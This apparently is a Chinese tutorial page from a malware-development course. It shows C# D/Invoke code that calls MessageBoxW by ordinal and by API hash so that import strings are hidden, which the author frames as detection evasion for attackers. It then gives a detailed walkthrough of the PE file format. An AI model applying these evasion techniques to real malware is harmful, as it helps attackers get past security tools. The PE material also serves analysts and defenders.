[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/bw9UGiGqBXFJNTtx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/bw9UGiGqBXFJNTtx-image.png)

修改 DllImport 属性，并将方法设置为 **delegate** 类型 (**委托**是一种类型，表示对**具有特定参数列表和返回类型的方法的引用**)。然后，把 API 的参数保存在一个**对象数组**中，然后通过 **DynamicAPIInvoke** 方法传递参数。最终代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;


class Program
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError =true)]
    public delegate int messagebox_dinvoke(IntPtr hWnd,string lpText,string lpCaption,uint uType);

    static void Main(string[] args)
    {
        object[] parameters = { IntPtr.Zero, "Demo", "From D/Invoke", (uint)0 };
        var result = (int)Generic.DynamicAPIInvoke("user32.dll", "MessageBoxW", typeof(messagebox_dinvoke), ref parameters);
    }
}

```

MessageBox 被成功调用了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/UNiZ22Bk28hRM8GU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/UNiZ22Bk28hRM8GU-image.png)

目前，在 **DynamicAPIInvoke** 方法中，还是能看到**模块名**以及 **API 名称**的明文字符串。对于函数名，我们依旧可以用**序数**来代替。

```c#
using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;


class Program
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError =true)]
    public delegate int messagebox_dinvoke(IntPtr hWnd,string lpText,string lpCaption,uint uType);

    static void Main(string[] args)
    {
        object[] parameters = { IntPtr.Zero, "Demo", "From D/Invoke", (uint)0 };
        var api = Generic.GetLibraryAddress("user32.dll", 2158);
        var result = (int)Generic.DynamicFunctionInvoke(api, typeof(messagebox_dinvoke), ref parameters);
    }
}
```

依旧能成功调用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/KaEtgAcbzbEmcQpY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/KaEtgAcbzbEmcQpY-image.png)

我们还可以通过 API Hashing 来进一步避免对于字符串的使用。基于给定的密钥，我们可以得到字符串的哈希值，用于代替明文模块名以及 API 名称。可以使用工具 **CSharpRepl** ([https://github.com/waf/CSharpRepl](https://github.com/waf/CSharpRepl)) 在外部获得目标模块名以及 API 名称的哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ULstcoFzreo1yt26-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ULstcoFzreo1yt26-image.png)

不过，我们从 [https://github.com/TheWover/DInvoke/tree/main](https://github.com/TheWover/DInvoke/tree/main) 得到的 D/Invoke 尚未支持以哈希值访问模块。在 **DInvoke\\Dinvoke\\DynamicInvoke\\Generic.cs** 中加入下列代码并编译，加入新的引用。

```c#
        public static IntPtr GetLoadedModuleAddress(string hashedDllName, long key)
        {
            using var process = Process.GetCurrentProcess();

            foreach (ProcessModule module in process.Modules)
            {
                var hashedName = GetAPIHash(module.ModuleName, key);

                if (hashedName.Equals(hashedDllName))
                    return module.BaseAddress;
            }

            return IntPtr.Zero;
        }
```

我们可以使用方法 **GetLoadedModuleAddress** 以及 **GetExportAddress** 通过哈希以及密钥来分别获得对**模块**以及 **API** 的句柄最终，我们的代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Xml.Linq;
using DInvoke.DynamicInvoke;
using static DInvoke.Injection.RemoteThreadCreate;


class Program
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
    public delegate int messagebox_dinvoke(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    static void Main(string[] args)
    {
        object[] parameters = { IntPtr.Zero, "Demo", "From D/Invoke", (uint)0 };
        var hModule = Generic.GetLoadedModuleAddress("787F1BE411268C41CFA155DC0B7E522E", 0xabcddcba);
        var hMessage = Generic.GetExportAddress(hModule, "AB07F73F98F6A8C21DDF027070E5AC54", 0xabcddcba);
        var result = (int)Generic.DynamicFunctionInvoke(hMessage, typeof(messagebox_dinvoke), ref parameters);
    }
}
```

调用正常！

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/hbB9bmcoNNg5J8TR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/hbB9bmcoNNg5J8TR-image.png)

# PE 文件

可移植可执行 (PE) 文件格式与 Windows 操作系统上能实现代码执行的文件类型所使用，常见的拓展名有 **exe**、**dll**、**sys** 等。PE 格式描述了文件必须遵循的标准结构，以便定位其内容并在执行的各个阶段使用其信息。了解这种格式对于恶意软件分析人员来说尤为重要，因为检查可执行文件的 PE 内容可以提供有关文件的大量信息，可能包括文件的作用。对于我们开发恶意软件的攻击者也同样重要，因为一些免疫检测的技术需要对 PE 文件十分熟悉。

### **PE 文件结构**

PE 格式包含多种文件类型，在最高层次可以分为 **COFF** 文件与 **PE 文件**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/CG1W0rWhNqdRlHpy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/CG1W0rWhNqdRlHpy-image.png)

  
**通用目标文件格式** (COFF) 文件，也称为**对象文件**，具有 **obj** 文件扩展名。它由 Windows 兼容的编译器生成，将**源代码**转换为**机器代码**。该文件类型本身**不可执行**，但可以作为输入传递给**链接器**，链接器从一个或多个对象文件创建**可执行文件**。

PE 文件，也称为**可执行文件**或**映像文件**，这是链接器生成的文件，包含**可执行代码**和**运行时映射到内存的数据**。映像文件还包含另外两种类型，第一种是**动态链接库**文件，具有 **dll** 扩展名，包含可以被多个程序同时导入和使用的代码和数据。 尽管 DLL 文件被归类为可执行文件，但它不能独立地直接运行。第二种是**可执行文件**，具有 **exe** 扩展名，与 DLL 不同的是它可以独立运行。

PE 格式以许多**文件头**开始，文件头是位于**数据块起始**的**附加数据**，通常包含**有关数据块的信息**，例如**数据块的大小**、**元素在数据块中的位置**，以及其他属性。在 PE 格式中，文件头数据由**结构体**组织和定义，在 C 和 C 相关的编程语言中，结构体是由不同的成员组成的数据类型，这些成员本身可能有多种数据类型。这些成员由不同的变量名称引用，并按顺序存储在连续的内存块中。PE 格式中使用的结构在名为 **winnt.h** 的头文件中定义，该文件可以作为 Windows SDK 的一部分下载。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/TO1lxL3heWlEGQdb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/TO1lxL3heWlEGQdb-image.png)

### **DOS 头与 DOS Stub**  


PE 文件的第一个头文件总是以 **0x4D5A** (**MZ**) 这 2 个字节为前缀，这 2 个字节表示 DOS 头签名，用于确认正在解析或检查的文件是有效的 PE 文件。DOS头是一个数据结构体，定义如下：

```c++
typedef struct _IMAGE_DOS_HEADER {     
    WORD   e_magic;                     // MZ 签名
    WORD   e_cblp;                     
    WORD   e_cp;                      
    WORD   e_crlc;                     
    WORD   e_cparhdr;                   
    WORD   e_minalloc;                
    WORD   e_maxalloc;                  
    WORD   e_ss;                      
    WORD   e_sp;                       
    WORD   e_csum;                     
    WORD   e_ip;                       
    WORD   e_cs;                      
    WORD   e_lfarlc;                   
    WORD   e_ovno;                      
    WORD   e_res[4];                   
    WORD   e_oemid;                     
    WORD   e_oeminfo;                   
    WORD   e_res2[10];                  
    LONG   e_lfanew;                    // NT 头的偏移
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
```

其中，最重要的分别是 **e\_magic** 与 **e\_lfanew**，分别是**小端格式**的 ASCII 字符 **MZ**，以及从映像文件起始到 NT 头的偏移。**e\_lfanew** 总是位于 **0x3c** 处，占 **4 个字节**。

使用 PE Bear 打开我们上一小节用 C++ 编写的 MessageBox 程序，我们发现最开始确实是 **4D 5A**，而在 **0x3c** 处，值为 **0xF0**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/krpgCkwd5R3EkHbk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/krpgCkwd5R3EkHbk-image.png)

而 DOS Stub 位于 **0x40** 处，DOS Stub 紧接着 DOS 头，因为 DOS 头占用 0x40 字节 (可以根据上文给出的结构体计算出总大小)。DOS Stub 包含了报错信息：**该程序不能再 DOS 模式中运行**。

### **NT 头**  


NT 头十分重要，其结构体如下，包含了**签名**、**文件头**、**可选头**这 3 个元素，NT 头包含了大量有关 PE 的信息。

```c++
//32 位
typedef struct _IMAGE_NT_HEADERS {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

//64 位
typedef struct _IMAGE_NT_HEADERS64 {
    DWORD                   Signature;
    IMAGE_FILE_HEADER       FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;
```

#### **Signature**

在上文，我们知道了 NT 头在 **0xF0** 偏移处，于是我们定位到 **0xF0** 处，发现签名元素 **0x50450000**，是填充了 2 个零字节的字符串 PE，因为该签名占用 **4 字节**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GVazBtodgNC2Ne8W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GVazBtodgNC2Ne8W-image.png)

#### **文件头 File Header**

File 头的结构体如下：

```c++
typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
```

比较重要的成员有 **Machine**，**NumberOfSections**，**TimeDateStamp**，**SizeOfOptionalHeader**，以及 **Characteristics**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/oVJY7EyWHNZnXIfa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/oVJY7EyWHNZnXIfa-image.png)

**Machine** 表示该 PE 文件所期望运行在的 **CPU 架构**，我们能看到该应用期望在 **AMD64** 架构 CPU 的系统上运行。

**NumberOfSection** 表示当前 PE 文件所包含的 **PE 节数量**，该程序有 **6** 个。

**TimeDataStamp** 表示**文件创建的时间**，能看到是 **2023 年 6 月 19 日**。

**SizeOfOptionalHeader** 表示**可选头的尺寸**，这里是 **240**。

**Characteristics** 表示该二进制文件的特定属性，例如是 **DLL** 还是**可执行的文件**，这里显然是**可执行的 exe** 文件。

#### **可选头 Optional Header**

尽管可选头名称为 Optional Header，但却非常重要，只是有些文件类型 (例如对象文件) 没有它。让我们查看它的结构体：

```c++
//32 位
typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

//64位
typedef struct _IMAGE_OPTIONAL_HEADER64 {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  ULONGLONG            ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  ULONGLONG            SizeOfStackReserve;
  ULONGLONG            SizeOfStackCommit;
  ULONGLONG            SizeOfHeapReserve;
  ULONGLONG            SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
```

以及在 PE Bear 中查看 Optional Header

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/07El5c4sEvUfsaN1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/07El5c4sEvUfsaN1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/mF7v3r1T1b9xUSVT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/mF7v3r1T1b9xUSVT-image.png)

一些比较重要的成员如下：

**Magic** 描述了该映像文件是 **32 位**还是 **64 位**的，当前是 **64 位**的。

**AddressOfEntryPoint** 表示**程序入口**的**相对虚拟内存地址** (RVA)。RVA 指的是当 PE 在**内存**中，距离开头(PE 的第一个字节) 的偏移。程序入口通常是 **main** 函数，默认在 **.text 节**。当前是 **0x12D0**，而当 PE 存在于**磁盘**中，入口的偏移是 **6D0**。这是因为 PE 文件在内存中和在磁盘中的展现出的结构有所不同。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ohFSY1CE8IJytHPE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ohFSY1CE8IJytHPE-image.png)

当 PE 在磁盘以及内存中时，结构示意图如下所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/NArl767a2GEYSXjy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/NArl767a2GEYSXjy-image.png)

**BaseOfCode** 表示当 PE 在**内存**中时，**.text 的偏移**，这里是 **0x1000**(因为PE头是固定的，所以一般来说都是0x1000)，而在磁盘中 .text 节的偏移为 **0x400**(一般来说都是这个值)。

**SizeOfCode** 为 **.text 节**的**大小**

**ImageBase** 为当 PE 文件被载入**内存**时，**偏好的基址**，但实际不一定是该值。

**SectionAlignment** 是当 PE 在内存中时，对齐系数的值，是 **0x1000**。RVA 表示在内存中距离 PE 文件开头的偏移 (**虚拟地址 VA=基址+相对虚拟地址RVA**)，而当 PE 文件分别处于内存和磁盘中时，**RVA** 与偏移 (**Offset**) 的差异是因为 **SectionAlighment** 以及 **FileAlignment**。

**FileAlignment** 是当PE 文件在磁盘时，对齐系数的值，是 **0x200**。

**SizeOfImage** 表示当 PE 在**内存**中时，整个映像取整 (对齐系数 **0x1000** 的整数倍)后的尺寸

**SizeOfHeaders** 表示取整后的所有头尺寸，是对齐系数 **0x200** 的整数倍

**CheckSum** 是校验文件完整性的数据

**NumberOfRvaAndSize** 是 **DataDirectory** 中**条目的数量**。

**DataDirectory** 是一组 **IMAGE\_DATA\_DIRECTORY 结构体**类型的数列，每个条目有 2 个属性，**VirtualAddress** (但实际上是 **RVA**) 和 **Size**。这些目录包含许多在运行时可能需要的重要**数据结构体条目**以及**函数**，以方便定位到它们。

```c++
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
```

虽然有 NumberOfRvaAndSize 值为 **16**，但目前实际只有 **15** 个目录条目。

```c++
#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/JzjoZLGcJsfOFk4D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/JzjoZLGcJsfOFk4D-image.png)

这些目录中，比较重要的有**导出目录**、**导入目录**、**导入地址表**。导出目录包含有关从可执行文件导出的函数和变量的信息。它包含导出的函数和变量的**地址**，其他可执行文件可以使用这些地址来访问函数和数据。**导出目录**通常存在于导出函数的 **DLL** 中，例如 user32.dll 导出了 MessageBoxW 函数。**导入目录**包含有关解析可执行文件从其他模块导入的符号所需的不同结构体的信息，此信息有助于可执行文件解析导入函数的地址。**导入地址表** (IAT) 是 PE 中的一种数据结构，包含从其他可执行文件导入的函数的地址信息，这些地址用于访问其他可执行文件中的函数和数据。例如当前文件 从 user32.dll 导入了 MessageBoxW 函数。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/TncP4y3QkKCvvZkH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/TncP4y3QkKCvvZkH-image.png)

### **PE 节** 

PE 节包含用于创建可执行程序的代码和数据，每个 PE 节都有一个**唯一**的名称，并且通常包含**可执行代码**、**数据**或**资源信息**。 PE 节的数量没有固定值，因为不同的编译器可以根据配置添加、删除或合并节，有些部分也可以在之后手动添加，因此 PE 节是动态的，并且 **IMAGE\_FILE\_HEADER.NumberOfSections** 有助于确定该数量。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vCn5anZKNImDaC5A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vCn5anZKNImDaC5A-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/NUzNP3kh4BifytWM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/NUzNP3kh4BifytWM-image.png)

节表紧接着 **Optional** 头。那么，我们怎么定位到节表呢？首先，我们在 **0x3C** 处找到 **NT 头的偏移**，当前程序是 **0xF0**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/1NelxNBbsqGkHOr4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/1NelxNBbsqGkHOr4-image.png)

NT 头的结构体如下，**DWORD** 占用 **4** 个字节，因此 File 头的偏移位于 **0xF0+4=0xF4**。

```c++
typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/OOht8VgXReqpTeMG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/OOht8VgXReqpTeMG-image.png)

File 头的结构体如下，根据数据类型计算总尺寸：2+2+4+4+4+2+2=**0x14**。

```c++
typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
```

加上目前的偏移 **0xF4**，我们得到**可选头**的偏移 **0x108**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/od7WoB775yXL0ZGk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/od7WoB775yXL0ZGk-image.png)

根据 File 头中的可选头的尺寸 0xF0，最终得到节表的偏移为 0x108+0xF0=**0x1F8**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/yXzGan3SoZaVwQa1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/yXzGan3SoZaVwQa1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Ii89R79qb5ouyoyX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Ii89R79qb5ouyoyX-image.png)

用公式计算的话，偏移如下：

```c++
Offset = PE[0x3c] + 0x18 + PE[PE[0x3c]+0x14]
```

节表里有多个条目，当前是 6 个，查看其结构体：

```c++
#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
```

**Name** 表示**节名**，通常以 **.** 开头，但并非必要，非常规的节名可能引起恶意软件分析师的怀疑。**VirtualSize** 是一个 **union** 类型数据，考虑到当前文件是一个**映像文件**，因此表示当载入至**内存**时**节的尺寸**。节头包含了文件在内存和磁盘时的信息，**VirtualAddress** 表示该节的 **RVA**。**PointerToRawData** 表示当文件在**磁盘**时该节的偏移，当前为 **0x400**，是 0x200 的 2 倍。SizeOfRawData 表示的则是在磁盘时该节的尺寸，这里是 0xE00。对于 .text 节，如果 **VirtualSize 的尺寸远大于 SizeOfRawData**，意味着可能被 packer 打包过了。

这些节都是紧挨着一起的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/999DnfkoAx0Tqq1c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/999DnfkoAx0Tqq1c-image.png)

由于尺寸需要是对齐系数的整数倍，原始数据之后被 **0x00** 填充。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XvrcLA8rmV5h3p8F-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XvrcLA8rmV5h3p8F-image.png)

Characteristics 表示节的属性，可以查看微软文档 [https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#section-flags](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#section-flags)。

接下来，我们分别讨论一下一些常见节的作用：

**text** 包含了**可执行的代码**，**可读可执行但不可写**。

**data** 包含了**初始化的变量**，可能为全局变量和静态变量，因为这些变量可以在运行时更改，因此该**节可读可写**。

**bss** 包含了**未初始化的变量**，**可读可写**。

**rdata** 包含了**可读的初始化数据**，常量，可能为全局常量或静态变量，**不可写**。根据编译器的配置，**edata** 和 **idata** 节可被整合进 rdata 节。

**edata** 包含了 **EAT**。该节可随着编译器的配置被整合进 **rdata** 节。

**idata** 包含了 **IAT**。该节可随着编译器的配置被整合进 **rdata** 节。下文中我们会知道 **IAT** 会被逐渐更新，而 rdata 节是**只读**的，因为**延迟加载的 DLL** 可以暂时更改页的权限从而允许写。

**reloc** 包含了给程序分配地址的信息。

**rsrc** 包含了**资源信息**，例如图标、字符串等。

### **导入与导出**

接下来，我们着重讨论一下 PE 文件的导入与导出。用 PE Bear 载入一**非托管 DLL**，例如 **user32.dll**。在导出部分，我们能看到该 DLL 导出了大量的函数供其他 PE 文件所用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/KUsjDrbESfeNVNfI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/KUsjDrbESfeNVNfI-image.png)

导出目录的结构体如下：

```c++
typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // EAT (Export Address Table)的 RVA
    DWORD   AddressOfNames;         // ENPT (Export Name Pointer Table)的 RVA
    DWORD   AddressOfNameOrdinals;  // OT (Ordinal Table)的 RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
```

该表的主要作用是存储其他导出相关表的位置。具体来说，**AddressOfFunctions** 指向**导出地址表** (EAT)，**AddressOfNames** 指向**导出名称指针表** (ENPT)，**AddressOfNameOrdinals** 指向**序数表**。为了能理解这些表，我们需要知道函数是如何被引用的，通过**名称**或者**序数**。

假设是通过**序数**来导入，序数是 **EAT** 的索引，每个条目包含函数的 **RVA**。

如果是使用**名称**来导入，过程会更加复杂一些。在 **ENPT** 中，每个条目都有一个索引，当在**索引 i** 处找到想要的**函数名称的 RVA** (进而得到函数的名称)，在序数表的**索引 i** 处，能得到另一个索引，记为 **j**。而在 EAT 的**索引 j** 处，最终得到了函数的 **RVA**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Wv60HqB23dkiOTnK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Wv60HqB23dkiOTnK-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/SnOL3BE2rNNOGypW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/SnOL3BE2rNNOGypW-image.png)

```c++
//通过序数
//在EAT的第i处找到想要的函数
RVA = EAT[i]

//通过名称
//在ENPT的第i处找到想要的函数名称
RVA = EAT[ OT[i] ] //OT[i]=j
```

我们理解了导出的步骤，接下来讨论一下导入。继续以我们上个小节编写的 MessageBox C++ 程序为例。在 PE Bear 中查看导入部分信息：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/k6gBw2Wq9osW7KAe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/k6gBw2Wq9osW7KAe-image.png)

图中部分是**导入目录**，每个条目是导入的 DLL，条目的结构体如下：

```c++
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk; // ILT/INT (Import Lookup Table)的 RVA
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;             // IAT (Import Address Table)的 RVA
} IMAGE_IMPORT_DESCRIPTOR;
```

**Name** 是 **DLL 名称字符串的 RVA**，**OriginalFirstThunk** 指向特定 DLL 的 **ILT/INT** (**导入查询表**)，**FirstThunk** 指向 **IAT**。在导入的函数名被解析为**地址**之前，ILT 与 IAT 具有相同的内容，并且由每个导入函数的条目组成，条目的数据类型是 **\_IMAGE\_THUNK\_DATA64 结构体**。

IAT 与 ILT 中的条目的结构体如下：

```c++
typedef struct _IMAGE_THUNK_DATA64 {
   union {
      ULONGLONG ForwarderString;  
      ULONGLONG Function;        
      ULONGLONG Ordinal;    // (最高位为1) 函数序数
      ULONGLONG AddressOfData;    // (最高位为0) HintName 表/_IMAGE_IMPORT_BY_NAME 结构体的 RVA
   } u1;
} IMAGE_THUNK_DATA64, *PIMAGE_THUNK_DATA64;

```

每个条目的**最高位**为**序数/名称**标志，用于指定是通过序数还是函数名导入函数。如果该位设置为 **1**，那么一些位会包含**函数的序数值**，反之则是 **Hint/Name 表** 的 RVA。当这些导入函数的地址被解析后，IAT 条目将被**解析的地址**覆盖。

IMAGE\_THUNK\_DATA64 结构体只有 1 个成员，对于可执行文件，该 **ULONGLONG** 成员可以有 2 种含义，分别是 Ordinal，表示**序数**；以及 **AddressOfData**，是 Hint/Name 表的 RVA。Hint/Name 表的数据类型是 **IMAGE\_IMPORT\_BY\_NAME** 结构体：

```c++
typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;    // ENPT 的索引
    CHAR   Name[1];  // 导入函数的名称的字符串
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
```

成员 **Hint** 是 **ENPT** 的索引，**Name** 是包含**导入函数名称的字符串**，被用于确认 Hint 位于 ENPT 中的正确位置，或者(如果当 Hint 不对) 寻找正确的位置。因为 ENPT 中的条目会让我们得到序数，并最终在 EAT 中得到函数的 RVA。当 **RVA** 被找到，IAT 表中的条目将被重写为函数的 RVA。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/lV4RbUJ74IZPBSOB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/lV4RbUJ74IZPBSOB-image.png)

